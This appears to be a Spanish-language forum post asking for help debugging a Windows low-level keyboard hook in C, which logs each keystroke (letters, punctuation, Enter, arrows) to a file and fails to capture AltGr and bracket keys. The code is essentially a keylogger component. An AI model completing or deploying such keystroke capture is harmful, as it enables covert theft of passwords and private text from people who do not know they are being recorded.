Estoy haciendo un hook al teclado y al tratar de capturar los corchetes mi codigo no lo hace, tampoco detecta el ALT-Izquierdo ni el ALT-Derecho.
Al menos en mi teclado, el corchete de apertura esta asi:
[`^ todo eso en una tecla (el corchete de apertura sale al presionar ALTGR+la tecla esa)
+*] todo eso en una tecla (el corchete de cierre sale al presionar ALTGR+la tecla esa)
tengo lo siguiente:
Código
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam); DWORD Tecla = puntero->vkCode; if (wParam == WM_KEYDOWN) { switch (puntero->vkCode) { case VK_RETURN: fputs("\n",f); break; //ENTER DETECTADO case VK_LMENU: fputs(" [AltI] ",f); break; //¿POR QUE NO DETECTA ESTA TECLA? case VK_RMENU: fputs(" [AltD] ",f); break; //¿POR QUE NO DETECTA ESTA OTRA TECLA? case VK_RIGHT: fputs("[D]",f); break; //la tecla flecha derecha. OK case VK_DOWN: fputs("[D]",f); break; //la tecla flecha abajo. OK case VK_DELETE: fputs("[S]",f); break; //la tecla suprimir //capturamos las teclas normales default: if ((puntero->vkCode>64)&&(puntero->vkCode<91)){ if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){ puntero->vkCode+=32; // a minusculas fputc(puntero->vkCode,f); }else{ fputc(puntero->vkCode,f); } } if (Tecla==VK_SPACE){ //espacio en blanco fputs(" ",f); } if (Tecla==190){ //detecta correctamente el punto y los dos puntos if (!(GetAsyncKeyState(VK_SHIFT))) fputs(".",f); //punto else fputs(":",f); //dos puntos } if (Tecla==188){ //coma y punto y coma. OK if (!(GetAsyncKeyState(VK_SHIFT))) fputs(",",f); else fputs(";",f); } if (Tecla==189){ //guion y sub guion. OK if (!(GetAsyncKeyState(VK_SHIFT))) fputs("-",f); // else fputs("_",f); // } /*ESTE ES EL CODIGO QUE NO TRABAJA, EL PROGRAMA EJECUTA PERO POR ALGUNA RAZON NO PUEDE CAPTURAR NI EL ALTGR NI EL CORCHETE DE APERTURA*/ if (Tecla==186){ //ERROR ¿POR QUE NO DETECTA LA TECLA DONDE ESTA MI CORCHETE DE APERTURA? if ((GetAsyncKeyState(VK_SHIFT))){ //si esta presionado SHIFT if (!GetAsyncKeyState(165)) //si no esta presionado ALTGR fputs("`",f); // } else if (GetAsyncKeyState(165)) //si esta presionado ALTGR fputs("[",f); //corchete capturado <-- pero no funciona else fputs("^",f); } [/color] } } return CallNextHookEx(NULL, nCode, wParam, lParam); }
He probado con VK_OEM_4 pero tampoco.
¿Alguna sugerencia?.